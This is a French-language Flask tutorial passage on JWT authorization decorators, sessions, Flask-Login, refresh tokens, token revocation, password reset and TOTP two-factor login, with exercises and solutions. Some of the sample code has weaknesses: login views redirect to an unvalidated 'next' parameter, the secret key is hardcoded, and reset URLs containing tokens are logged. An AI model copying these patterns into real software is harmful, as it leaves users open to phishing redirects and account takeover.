      login_requis, admin_requis, role_requis,
      proprietaire_ou_admin, obtenir_utilisateur_courant
  )

  # Route publique (pas besoin d'auth)
  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      livres = Livre.actifs().all()
      return jsonify({'data': [l.to_dict() for l in livres]})

  # Route protégée (tout utilisateur connecté)
  @api_livres_bp.route('/', methods=['POST'])
  @login_requis
  def creer_livre():
      current_user = obtenir_utilisateur_courant()
      # current_user est disponible ici
      data = request.get_json()
      # ...

  # Route admin seulement
  @api_admin_bp.route('/statistiques', methods=['GET'])
  @admin_requis
  def statistiques():
      return jsonify({'stats': {}})

  # Route multi-rôles
  @api_bp.route('/moderation', methods=['GET'])
  @role_requis('admin', 'moderateur')
  def moderation():
      return jsonify({'items': []})

  # Route propriétaire ou admin
  @api_users_bp.route('/<int:user_id>/profil', methods=['GET'])
  @proprietaire_ou_admin
  def get_profil(user_id):
      user = Utilisateur.query.get_or_404(user_id)
      current = obtenir_utilisateur_courant()
      # Afficher plus ou moins d'infos selon si c'est soi-même ou un admin
      include_private = (current.id == user.id or current.role == 'admin')
      return jsonify({'data': user.to_dict(include_private=include_private)})

  # Route qui récupère l'utilisateur courant
  @api_users_bp.route('/me', methods=['GET'])
  @login_requis
  def mon_profil():
      user = obtenir_utilisateur_courant()
      return jsonify({
          'success': True,
          'data': user.to_dict(include_private=True)
      })


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 30.1 : Décode manuellement un JWT (sans bibliothèque).
    Prends un token, décode les 3 parties en Base64, lis le payload.
    Identifie les claims standard (sub, iat, exp, jti).

  Exercice 30.2 : Configure Flask-JWT-Extended dans l'Application Factory.
    Teste la génération et la vérification de tokens avec le Flask Shell.

  Exercice 30.3 : Protège les routes de création/modification/suppression
    de livres avec @login_requis. Les routes de lecture restent publiques.

NIVEAU INTERMÉDIAIRE :
  Exercice 30.4 : Implémente le décorateur @role_requis et protège
    toutes les routes admin avec @admin_requis.
    Teste avec un token d'utilisateur normal -> 403.

  Exercice 30.5 : Crée une route GET /api/v1/auth/me/tokens qui retourne
    les informations du token courant (sans les données sensibles) :
    jti, iat, exp, type, roles.

NIVEAU AVANCÉ :
  Exercice 30.6 : Implémente le décorateur @permission_requise('livres:write')
    qui vérifie des permissions granulaires stockées en BDD pour chaque utilisateur.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 30.1 — Décoder un JWT manuellement :

  import base64, json

  def decoder_jwt_manuel(token: str) -> dict:
      """Décode un JWT sans vérifier la signature (à des fins pédagogiques)."""
      parties = token.split('.')
      if len(parties) != 3:
          raise ValueError("Format JWT invalide")

      def decoder_base64url(partie):
          # Base64URL utilise - et _ au lieu de + et /
          # Et peut manquer de padding (=)
          partie = partie.replace('-', '+').replace('_', '/')
          # Ajouter le padding manquant
          padding = 4 - len(partie) % 4
          if padding != 4:
              partie += '=' * padding
          return json.loads(base64.b64decode(partie).decode('utf-8'))

      return {
          'header':    decoder_base64url(parties[0]),
          'payload':   decoder_base64url(parties[1]),
          'signature': parties[2]  # Bytes raw, ne pas décoder
      }

  # Test :
  token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
  decoded = decoder_jwt_manuel(token)
  print("Header:", decoded['header'])
  # -> {'alg': 'HS256', 'typ': 'JWT'}
  print("Payload:", decoded['payload'])
  # -> {'sub': '42', 'nom': 'Momo', 'email': 'momo@bookflow.com', 'exp': ...}

CORRIGÉ 30.5 — Route /auth/me/tokens :

  from flask_jwt_extended import get_jwt
  from datetime import datetime, timezone

  @auth_bp.route('/me/tokens', methods=['GET'])
  @login_requis
  def infos_token():
      """Retourne les informations sur le token courant."""
      claims = get_jwt()
      maintenant = datetime.now(timezone.utc).timestamp()

      exp_timestamp = claims.get('exp', 0)
      iat_timestamp = claims.get('iat', 0)

      return jsonify({
          'success': True,
          'data': {
              'jti':            claims.get('jti'),
              'type':           claims.get('type', 'access'),
              'emis_le':        datetime.fromtimestamp(iat_timestamp, tz=timezone.utc).isoformat(),
              'expire_le':      datetime.fromtimestamp(exp_timestamp, tz=timezone.utc).isoformat(),
              'expire_dans_s':  max(0, int(exp_timestamp - maintenant)),
              'role':           claims.get('role'),
              'email':          claims.get('email')
          }
      })

CORRIGÉ 30.6 — Permissions granulaires :

  # Modèle Permission
  class Permission(db.Model):
      __tablename__ = 'permissions'
      id = db.Column(db.Integer, primary_key=True)
      user_id = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      code = db.Column(db.String(50), nullable=False)
      # Exemples: 'livres:read', 'livres:write', 'livres:delete', 'admin:*'
      __table_args__ = (db.UniqueConstraint('user_id', 'code'),)

  def permission_requise(code_permission: str):
      """
      Décorateur factory vérifiant une permission granulaire.
      Supporte les wildcards : 'admin:*' autorise 'admin:livres', 'admin:users', etc.
      """
      def decorateur(f):
          @wraps(f)
          @jwt_required()
          def wrapper(*args, **kwargs):
              user = obtenir_utilisateur_courant()
              if not user:
                  return jsonify({'error': 'Non authentifié'}), 401

              # Admin a toutes les permissions
              if user.role == 'admin':
                  return f(*args, **kwargs)

              # Vérifier la permission spécifique ou wildcard
              categorie = code_permission.split(':')[0]
              a_permission = Permission.query.filter(
                  Permission.user_id == user.id,
                  db.or_(
                      Permission.code == code_permission,        # Exacte
                      Permission.code == f'{categorie}:*',      # Wildcard catégorie
                      Permission.code == '*'                     # Wildcard global
                  )
              ).first()

              if not a_permission:
                  return jsonify({
                      'error': f'Permission requise : {code_permission}'
                  }), 403

              return f(*args, **kwargs)
          return wrapper
      return decorateur

  # Utilisation :
  @api_livres_bp.route('/', methods=['POST'])
  @permission_requise('livres:write')
  def creer_livre():
      pass


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 31 — SESSIONS FLASK : COOKIES ET ÉTAT CÔTÉ SERVEUR         ║
║     Sessions signées, gestion de l'état et alternatives aux JWT                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  SESSIONS FLASK VS JWT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SESSIONS FLASK :
  -> Cookie signé côté client (session data encodée + signée avec SECRET_KEY)
  -> Le serveur recrée le contexte depuis le cookie à chaque requête
  -> Idéal pour les applications web avec rendu serveur (templates Jinja2)
  -> Moins adapté aux API REST consommées par des apps mobiles

JWT :
  -> Token transmis dans le header Authorization
  -> Stateless (le serveur ne stocke rien)
  -> Idéal pour les API REST
  -> Nécessite une blacklist pour la révocation

QUAND UTILISER SESSIONS vs JWT :
  Sessions : Apps web Flask avec templates Jinja2 (interface HTML)
  JWT      : API REST consommées par React/Vue/Mobile

Dans BookFlow, on utilise LES DEUX :
  -> JWT pour l'API REST (/api/v1/...)
  -> Sessions pour l'interface web (/livres, /login, ...)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  SESSIONS FLASK EN DÉTAIL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from flask import session, redirect, url_for, request, flash

  # Configuration des sessions
  app.config['SECRET_KEY'] = 'cle-secrete-longue'
  app.config['SESSION_COOKIE_NAME'] = 'bookflow_session'
  app.config['SESSION_COOKIE_HTTPONLY'] = True   # Non accessible en JS
  app.config['SESSION_COOKIE_SECURE'] = True     # HTTPS uniquement (prod)
  app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # Protection CSRF
  app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

  # ── Login avec session ──
  @web_bp.route('/login', methods=['GET', 'POST'])
  def login():
      if request.method == 'POST':
          email = request.form.get('email', '').lower()
          mdp = request.form.get('mot_de_passe', '')

          user = Utilisateur.query.filter_by(email=email).first()

          if not user or not user.check_password(mdp):
              flash('Email ou mot de passe incorrect', 'error')
              return redirect(url_for('web.login'))

          if not user.est_actif:
              flash('Compte désactivé', 'error')
              return redirect(url_for('web.login'))

          # Stocker l'utilisateur en session
          session.permanent = True  # Session permanente (7 jours si configuré)
          session['user_id'] = user.id
          session['user_nom'] = user.nom
          session['user_role'] = user.role
          session['login_time'] = datetime.now(timezone.utc).isoformat()

          flash(f'Bienvenue, {user.nom} !', 'success')

          # Rediriger vers la page demandée ou l'accueil
          next_url = request.args.get('next', url_for('web.index'))
          return redirect(next_url)

      return render_template('auth/login.html')

  # ── Logout avec session ──
  @web_bp.route('/logout')
  def logout():
      session.clear()  # Supprimer toutes les données de session
      flash('Vous avez été déconnecté', 'info')
      return redirect(url_for('web.index'))

  # ── Décorateur login_required pour les vues HTML ──
  from functools import wraps

  def login_requis_web(f):
      """Décorateur pour les vues HTML (sessions)."""
      @wraps(f)
      def wrapper(*args, **kwargs):
          if 'user_id' not in session:
              flash('Connectez-vous pour accéder à cette page', 'warning')
              return redirect(url_for('web.login', next=request.url))
          return f(*args, **kwargs)
      return wrapper

  # ── Context processor pour les templates ──
  @app.context_processor
  def injecter_utilisateur_session():
      """Rend current_user disponible dans tous les templates."""
      user = None
      if 'user_id' in session:
          user = Utilisateur.query.get(session['user_id'])
          if user and not user.est_actif:
              session.clear()
              user = None
      return {'current_user': user}

  # Utilisation dans les templates :
  # {% if current_user %}
  #     <p>Bonjour {{ current_user.nom }}</p>
  # {% else %}
  #     <a href="/login">Se connecter</a>
  # {% endif %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  FLASK-LOGIN (EXTENSION DÉDIÉE AUX SESSIONS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask-Login simplifie la gestion des sessions pour les applications web.

  pip install flask-login

  # app/__init__.py
  from flask_login import LoginManager

  login_manager = LoginManager()
  login_manager.login_view = 'web.login'       # Route de login
  login_manager.login_message = 'Connexion requise'
  login_manager.login_message_category = 'warning'

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      login_manager.init_app(app)
      return app

  # ── Adapter le modèle Utilisateur ──
  from flask_login import UserMixin

  class Utilisateur(UserMixin, db.Model):
      """
      UserMixin ajoute les méthodes requises par Flask-Login :
        is_authenticated, is_active, is_anonymous, get_id()
      """
      __tablename__ = 'utilisateurs'
      # ... colonnes ...

      # Flask-Login appelle is_active (correspond à est_actif)
      @property
      def is_active(self):
          return self.est_actif

      # Flask-Login appelle get_id() pour stocker en session
      def get_id(self):
          return str(self.id)

  # ── Loader utilisateur (appelé à chaque requête) ──
  @login_manager.user_loader
  def charger_utilisateur(user_id):
      """Recharge l'utilisateur depuis la BDD à chaque requête."""
      return Utilisateur.query.get(int(user_id))

  # ── Routes avec Flask-Login ──
  from flask_login import login_user, logout_user, login_required, current_user

  @web_bp.route('/login', methods=['GET', 'POST'])
  def login():
      if current_user.is_authenticated:
          return redirect(url_for('web.index'))  # Déjà connecté

      if request.method == 'POST':
          email = request.form.get('email', '').lower()
          mdp = request.form.get('mot_de_passe', '')
          remember = 'se_souvenir' in request.form

          user = Utilisateur.query.filter_by(email=email).first()

          if user and user.check_password(mdp):
              login_user(user, remember=remember)
              # remember=True -> cookie permanent (pas de session)
              flash(f'Bienvenue {user.nom} !', 'success')
              next_url = request.args.get('next', url_for('web.index'))
              return redirect(next_url)

          flash('Identifiants incorrects', 'error')

      return render_template('auth/login.html')

  @web_bp.route('/logout')
  @login_required
  def logout():
      logout_user()
      flash('Déconnecté avec succès', 'info')
      return redirect(url_for('web.index'))

  @web_bp.route('/mon-profil')
  @login_required
  def mon_profil():
      # current_user est disponible partout avec Flask-Login
      return render_template('profil.html', user=current_user)

  # Dans les templates :
  # {{ current_user.nom }}
  # {% if current_user.is_authenticated %}...{% endif %}
  # {% if current_user.est_admin %}...{% endif %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 31.1 : Implémente le login/logout basé sur sessions pour
    l'interface web de BookFlow. Ajoute le bouton connexion/déconnexion
    dans la navigation Jinja2.

  Exercice 31.2 : Ajoute Flask-Login et adapte le modèle Utilisateur.
    Protège la route /livres/nouveau avec @login_required.

  Exercice 31.3 : Implémente la fonctionnalité "Se souvenir de moi"
    avec Flask-Login (cookie 30 jours vs session navigateur).

NIVEAU INTERMÉDIAIRE :
  Exercice 31.4 : Crée un middleware qui vérifie si la session a expiré
    par inactivité (pas d'activité depuis 30 minutes -> déconnexion auto).

  Exercice 31.5 : Implémente une route GET /admin/sessions qui liste
    toutes les sessions actives (avec Flask-SQLAlchemy-Session ou Redis).

NIVEAU AVANCÉ :
  Exercice 31.6 : Implémente les sessions côté serveur avec Redis
    (au lieu des sessions côté client basées sur des cookies).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 31.4 — Expiration par inactivité :

  from flask import session, redirect, url_for
  from datetime import datetime, timezone, timedelta

  TIMEOUT_INACTIVITE = timedelta(minutes=30)

  @app.before_request
  def verifier_inactivite_session():
      """Déconnecte les sessions inactives depuis plus de 30 minutes."""
      if 'user_id' not in session:
          return  # Pas connecté, rien à faire

      derniere_activite = session.get('derniere_activite')
      if derniere_activite:
          derniere = datetime.fromisoformat(derniere_activite)
          if datetime.now(timezone.utc) - derniere > TIMEOUT_INACTIVITE:
              session.clear()
              from flask import flash
              flash('Session expirée par inactivité. Reconnectez-vous.', 'warning')
              return redirect(url_for('web.login'))

      # Mettre à jour le timestamp d'activité
      session['derniere_activite'] = datetime.now(timezone.utc).isoformat()


╔══════════════════════════════════════════════════════════════════════════════════════╗
║          CHAPITRE 32 — SÉCURITÉ AVANCÉE : REFRESH TOKENS ET RÉVOCATION           ║
║     Tokens à durée de vie limitée, blacklist et réinitialisation de mot de passe  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  REFRESH TOKENS — IMPLÉMENTATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les access tokens sont courts (1h). Les refresh tokens permettent d'en
obtenir de nouveaux sans se reconnecter.

  from flask_jwt_extended import jwt_required, create_access_token, get_jwt

  @auth_bp.route('/refresh', methods=['POST'])
  @jwt_required(refresh=True)  # Accepte UNIQUEMENT les refresh tokens
  def refresh():
      """
      POST /api/v1/auth/refresh
      Génère un nouvel access token depuis un refresh token valide.

      Header : Authorization: Bearer <refresh_token>

      Réponses :
        200 OK -> Nouvel access token
        401    -> Refresh token invalide ou expiré
      """
      user_id = get_jwt_identity()
      claims = get_jwt()

      user = Utilisateur.query.get(int(user_id))
      if not user or not user.est_actif:
          return jsonify({'error': 'Utilisateur invalide ou désactivé'}), 401

      # Générer un NOUVEAU access token uniquement
      new_access_token = create_access_token(
          identity=user_id,
          additional_claims={
              'nom':   user.nom,
              'email': user.email,
              'role':  user.role,
              'type':  'access'
          }
      )

      from flask import current_app
      from datetime import timedelta
      expires = current_app.config.get(
          'JWT_ACCESS_TOKEN_EXPIRES', timedelta(hours=1)
      )

      return jsonify({
          'success': True,
          'data': {
              'access_token': new_access_token,
              'expires_in':   int(expires.total_seconds()),
              'token_type':   'Bearer'
          }
      }), 200


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  RÉVOCATION DE TOKENS (BLACKLIST)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

JWT est stateless, mais on peut quand même révoquer des tokens
en maintenant une blacklist (liste des tokens révoqués).

  # app/models/token_revoque.py
  from app import db
  from datetime import datetime, timezone

  class TokenRevoque(db.Model):
      """
      Table de blacklist pour les JWT révoqués.
      Contient les JTI (JWT ID unique) des tokens révoqués.
      """
      __tablename__ = 'tokens_revoques'

      id = db.Column(db.Integer, primary_key=True)
      jti = db.Column(db.String(36), nullable=False, unique=True, index=True)
      # JTI = identifiant unique du token (UUID)

      type_token = db.Column(db.String(10), nullable=False)  # 'access' ou 'refresh'
      user_id = db.Column(db.Integer, nullable=False, index=True)
      created_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc)
      )
      expire_le = db.Column(db.DateTime(timezone=True), nullable=False)
      # Stocker l'expiration pour pouvoir nettoyer les anciens tokens

      @classmethod
      def revoquer(cls, jti: str, type_token: str, user_id: int, expire_le):
          """Ajoute un token à la blacklist."""
          token = cls(
              jti=jti,
              type_token=type_token,
              user_id=user_id,
              expire_le=expire_le
          )
          db.session.add(token)
          return token

      @classmethod
      def est_revoque(cls, jti: str) -> bool:
          """Vérifie si un token est dans la blacklist."""
          return cls.query.filter_by(jti=jti).first() is not None

      @classmethod
      def nettoyer_expres(cls):
          """Supprime les entrées de blacklist expirées (job planifié)."""
          maintenant = datetime.now(timezone.utc)
          cls.query.filter(cls.expire_le < maintenant).delete()
          db.session.commit()

  # ── Configurer la vérification de blacklist dans JWT ──
  # app/__init__.py
  @jwt_manager.token_in_blocklist_loader
  def verifier_token_blacklist(jwt_header, jwt_payload):
      """
      Appelé par Flask-JWT-Extended pour vérifier si un token est révoqué.
      Retourner True = token révoqué = requête rejetée.
      """
      jti = jwt_payload.get('jti')
      if not jti:
          return True  # Pas de JTI = rejeter

      # Vérifier dans la BDD
      return TokenRevoque.est_revoque(jti)

  # ── Route de logout avec révocation ──
  from flask_jwt_extended import get_jwt

  @auth_bp.route('/logout', methods=['POST'])
  @jwt_required()
  def logout():
      """
      POST /api/v1/auth/logout
      Révoque le token courant.
      """
      claims = get_jwt()
      jti = claims['jti']
      user_id = int(get_jwt_identity())
      type_token = claims.get('type', 'access')

      # Convertir exp timestamp en datetime
      from datetime import datetime, timezone
      exp_dt = datetime.fromtimestamp(claims['exp'], tz=timezone.utc)

      try:
          TokenRevoque.revoquer(
              jti=jti,
              type_token=type_token,
              user_id=user_id,
              expire_le=exp_dt
          )
          db.session.commit()

          return jsonify({
              'success': True,
              'message': 'Déconnexion réussie'
          }), 200

      except Exception as e:
          db.session.rollback()
          return jsonify({'error': 'Erreur lors de la déconnexion'}), 500

  # ── Logout complet (révoquer TOUS les tokens d'un utilisateur) ──
  @auth_bp.route('/logout-all', methods=['POST'])
  @jwt_required()
  def logout_all():
      """Révoque TOUS les tokens actifs de l'utilisateur."""
      user_id = int(get_jwt_identity())

      # En pratique, on ne peut pas lister les tokens non expirés
      # sans les stocker. On peut ajouter une colonne 'tokens_invalides_depuis'
      # dans Utilisateur et la vérifier dans verifier_token_blacklist.

      user = Utilisateur.query.get(user_id)
      user.tokens_invalides_depuis = datetime.now(timezone.utc)
      db.session.commit()

      return jsonify({'success': True, 'message': 'Tous les appareils déconnectés'})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  RÉINITIALISATION DE MOT DE PASSE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/utils/reset_mdp.py
  import secrets
  from datetime import datetime, timezone, timedelta
  from flask import url_for

  def generer_token_reset() -> str:
      """Génère un token de réinitialisation sécurisé."""
      return secrets.token_urlsafe(32)
      # -> "X7kL9mN2pQrTuWxYzAe1Bv5Cg9Dh7Ej1F" (44 caractères)

  # ── Route demande de reset ──
  @auth_bp.route('/mot-de-passe/reset-request', methods=['POST'])
  def demander_reset_mdp():
      """
      POST /api/v1/auth/mot-de-passe/reset-request
      Envoie un email de réinitialisation de mot de passe.
      """
      data = request.get_json(silent=True) or {}
      email = str(data.get('email', '')).strip().lower()

      if not email:
          return jsonify({'error': 'Email requis'}), 400

      # [ATTENTION] TOUJOURS répondre 200 même si l'email n'existe pas
      # (éviter l'énumération d'emails)
      user = Utilisateur.query.filter_by(email=email).first()

      if user and user.est_actif:
          # Générer et stocker le token
          token = generer_token_reset()
          user.token_reset_mdp = token
          user.token_expiration = datetime.now(timezone.utc) + timedelta(hours=1)
          db.session.commit()

          # Générer l'URL de reset
          url_reset = url_for(
              'auth.confirmer_reset_mdp',
              token=token,
              _external=True
          )

          # Envoyer l'email (voir implémentation email plus bas)
          # envoyer_email_reset(user.email, user.nom, url_reset)

          from flask import current_app
          current_app.logger.info(
              f"Reset mot de passe demandé pour {email}. "
              f"URL: {url_reset}"
          )

      # Répondre TOUJOURS 200 (sécurité)
      return jsonify({
          'success': True,
          'message': (
              'Si cet email est associé à un compte, vous recevrez '
              'un lien de réinitialisation dans quelques minutes.'
          )
      }), 200

  # ── Route confirmation reset ──
  @auth_bp.route('/mot-de-passe/reset/<token>', methods=['POST'])
  def confirmer_reset_mdp(token):
      """
      POST /api/v1/auth/mot-de-passe/reset/<token>
      Réinitialise le mot de passe avec un token valide.
      """
      data = request.get_json(silent=True) or {}
      nouveau_mdp = data.get('mot_de_passe', '')

      if not nouveau_mdp:
          return jsonify({'error': 'Nouveau mot de passe requis'}), 400

      regles_non_respectees = valider_force_mdp(nouveau_mdp)
      if regles_non_respectees:
          return jsonify({
              'error': 'Mot de passe trop faible',
              'regles': regles_non_respectees
          }), 400

      # Trouver l'utilisateur avec ce token valide
      maintenant = datetime.now(timezone.utc)
      user = Utilisateur.query.filter(
          Utilisateur.token_reset_mdp == token,
          Utilisateur.token_expiration > maintenant
      ).first()

      if not user:
          return jsonify({
              'error': 'Lien de réinitialisation invalide ou expiré'
          }), 400

      # Mettre à jour le mot de passe
      user.set_password(nouveau_mdp)
      user.token_reset_mdp = None    # Invalider le token
      user.token_expiration = None
      db.session.commit()

      # Révoquer tous les tokens actifs (sécurité)
      user.tokens_invalides_depuis = datetime.now(timezone.utc)
      db.session.commit()

      return jsonify({
          'success': True,
          'message': 'Mot de passe réinitialisé avec succès. Reconnectez-vous.'
      }), 200


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  ENVOI D'EMAILS (FLASK-MAIL)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-mail

  # Config
  app.config.update(
      MAIL_SERVER   = os.getenv('MAIL_SERVER', 'smtp.gmail.com'),
      MAIL_PORT     = int(os.getenv('MAIL_PORT', 587)),
      MAIL_USE_TLS  = True,
      MAIL_USERNAME = os.getenv('MAIL_USERNAME'),
      MAIL_PASSWORD = os.getenv('MAIL_PASSWORD'),
      MAIL_DEFAULT_SENDER = ('BookFlow', os.getenv('MAIL_USERNAME'))
  )

  from flask_mail import Mail, Message
  mail = Mail()

  # app/utils/email.py
  from flask_mail import Message
  from flask import render_template
  from app import mail

  def envoyer_email(destinataire: str, sujet: str, template: str, **kwargs):
      """
      Envoie un email HTML (avec fallback texte).

      Args:
          destinataire : Adresse email du destinataire
          sujet        : Sujet de l'email
          template     : Nom du template (sans extension)
          **kwargs     : Variables à passer aux templates
      """
      msg = Message(
          subject=sujet,
          recipients=[destinataire]
      )

      # Corps texte (fallback)
      msg.body = render_template(f'emails/{template}.txt', **kwargs)

      # Corps HTML (principal)
      msg.html = render_template(f'emails/{template}.html', **kwargs)

      mail.send(msg)

  def envoyer_email_bienvenue(user):
      envoyer_email(
          user.email,
          'Bienvenue sur BookFlow ! [DOCS]',
          'bienvenue',
          user=user
      )

  def envoyer_email_reset(email: str, nom: str, url_reset: str):
      envoyer_email(
          email,
          'Réinitialisation de votre mot de passe BookFlow',
          'reset_mdp',
          nom=nom,
          url_reset=url_reset,
          expire_dans='1 heure'
      )

  def envoyer_email_verification(user, url_verification: str):
      envoyer_email(
          user.email,
          'Vérifiez votre adresse email BookFlow',
          'verification_email',
          user=user,
          url_verification=url_verification
      )

  # Template email HTML (templates/emails/reset_mdp.html)
  # <!DOCTYPE html>
  # <html>
  # <body style="font-family: Arial; max-width: 600px; margin: auto;">
  #   <h1>[DOCS] BookFlow</h1>
  #   <h2>Réinitialisation de mot de passe</h2>
  #   <p>Bonjour {{ nom }},</p>
  #   <p>Vous avez demandé la réinitialisation de votre mot de passe.</p>
  #   <a href="{{ url_reset }}" style="background:#2563eb;color:white;
  #      padding:12px 24px;border-radius:6px;text-decoration:none;">
  #     Réinitialiser mon mot de passe
  #   </a>
  #   <p>Ce lien expire dans {{ expire_dans }}.</p>
  #   <p>Si vous n'avez pas demandé cette réinitialisation, ignorez cet email.</p>
  # </body>
  # </html>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 32.1 : Implémente la route POST /auth/refresh et teste
    le flux complet : login -> access token expiré -> refresh -> nouvel access token.

  Exercice 32.2 : Implémente la blacklist JWT avec la table TokenRevoque.
    Configure jwt_manager.token_in_blocklist_loader.
    Teste : login -> logout -> réutiliser l'ancien token -> 401 Token révoqué.

  Exercice 32.3 : Implémente le flux complet de reset de mot de passe.
    (sans l'envoi réel d'email : afficher l'URL dans les logs)

NIVEAU INTERMÉDIAIRE :
  Exercice 32.4 : Crée une tâche de nettoyage (fonction) qui supprime
    les tokens révoqués expirés de la blacklist.
    La lancer via flask shell ou un endpoint admin.

  Exercice 32.5 : Implémente la vérification d'email après inscription.
    L'utilisateur reçoit un lien, le clique, son compte est activé.

NIVEAU AVANCÉ :
  Exercice 32.6 : Implémente une authentification à deux facteurs (2FA)
    basique via TOTP (Time-based One-Time Password).
    pip install pyotp
    -> Générer un secret TOTP, afficher un QR code, valider le code à la connexion.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 32.4 — Nettoyage blacklist :

  @api_admin_bp.route('/maintenance/nettoyer-tokens', methods=['POST'])
  @admin_requis
  def nettoyer_tokens_revoques():
      """Supprime les tokens révoqués expirés."""
      from datetime import datetime, timezone
      maintenant = datetime.now(timezone.utc)

      nb_supprimes = TokenRevoque.query.filter(
          TokenRevoque.expire_le < maintenant
      ).delete()
      db.session.commit()

      return jsonify({
          'success': True,
          'tokens_nettoyes': nb_supprimes,
          'message': f'{nb_supprimes} token(s) révoqué(s) expiré(s) supprimés'
      })

CORRIGÉ 32.6 — 2FA avec TOTP :

  import pyotp
  import qrcode
  import io
  import base64

  class DeuxFacteurs:
      """Gestion de l'authentification à deux facteurs TOTP."""

      @staticmethod
      def generer_secret() -> str:
          """Génère un secret TOTP unique pour un utilisateur."""
          return pyotp.random_base32()  # -> "JBSWY3DPEHPK3PXP" (32 chars)

      @staticmethod
      def generer_url_qr(email: str, secret: str) -> str:
          """Génère l'URL pour le QR Code (compatible Google Authenticator)."""
          return pyotp.totp.TOTP(secret).provisioning_uri(
              name=email,
              issuer_name="BookFlow"
          )

      @staticmethod
      def generer_qr_base64(email: str, secret: str) -> str:
          """Génère le QR Code en base64 (pour afficher dans le navigateur)."""
          url = DeuxFacteurs.generer_url_qr(email, secret)
          qr = qrcode.QRCode(version=1, box_size=10, border=5)
          qr.add_data(url)
          qr.make(fit=True)
          img = qr.make_image(fill_color="black", back_color="white")
          buffer = io.BytesIO()
          img.save(buffer, format='PNG')
          return base64.b64encode(buffer.getvalue()).decode('utf-8')

      @staticmethod
      def valider_code(secret: str, code: str) -> bool:
          """Valide un code TOTP (valide 30 secondes, ±1 fenêtre)."""
          totp = pyotp.TOTP(secret)
          return totp.verify(code, valid_window=1)
          # valid_window=1 -> accepte le code précédent et suivant
          # (compense la désynchronisation d'horloge)

  # Routes 2FA
  @auth_bp.route('/2fa/activer', methods=['POST'])
  @login_requis
  def activer_2fa():
      user = obtenir_utilisateur_courant()
      secret = DeuxFacteurs.generer_secret()
      qr_base64 = DeuxFacteurs.generer_qr_base64(user.email, secret)

      # Stocker le secret (temporairement, en attendant la validation)
      user.totp_secret_temp = secret
      db.session.commit()

      return jsonify({
          'success': True,
          'qr_code': f'data:image/png;base64,{qr_base64}',
          'secret': secret,  # Pour saisie manuelle
          'message': 'Scannez le QR code avec Google Authenticator, puis validez'
      })

  @auth_bp.route('/2fa/valider', methods=['POST'])
  @login_requis
  def valider_2fa():
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}
      code = data.get('code', '')

      secret_temp = getattr(user, 'totp_secret_temp', None)
      if not secret_temp:
          return jsonify({'error': '2FA non initialisé'}), 400

      if DeuxFacteurs.valider_code(secret_temp, code):
          user.totp_secret = secret_temp    # Activer définitivement
          user.totp_secret_temp = None
          user.totp_actif = True
          db.session.commit()
          return jsonify({'success': True, 'message': '2FA activé avec succès !'})

      return jsonify({'error': 'Code TOTP invalide ou expiré'}), 400

  @auth_bp.route('/login', methods=['POST'])
  def login():
      # ... vérification email/mdp normale ...
      if user.totp_actif:
          # Générer un token temporaire (pré-authentifié, pas accès complet)
          pre_auth_token = create_access_token(
              identity=str(user.id),
              additional_claims={'type': 'pre_auth'},
              expires_delta=timedelta(minutes=5)
          )
          return jsonify({
              'success': True,
              'require_2fa': True,
              'pre_auth_token': pre_auth_token
          }), 200

      # Pas de 2FA -> token complet directement
      tokens = generer_tokens(user)
      return jsonify({'success': True, 'data': tokens}), 200

  @auth_bp.route('/2fa/verify-login', methods=['POST'])
  @jwt_required()
  def verify_login_2fa():
      claims = get_jwt()
      if claims.get('type') != 'pre_auth':
          return jsonify({'error': 'Token pré-auth requis'}), 400
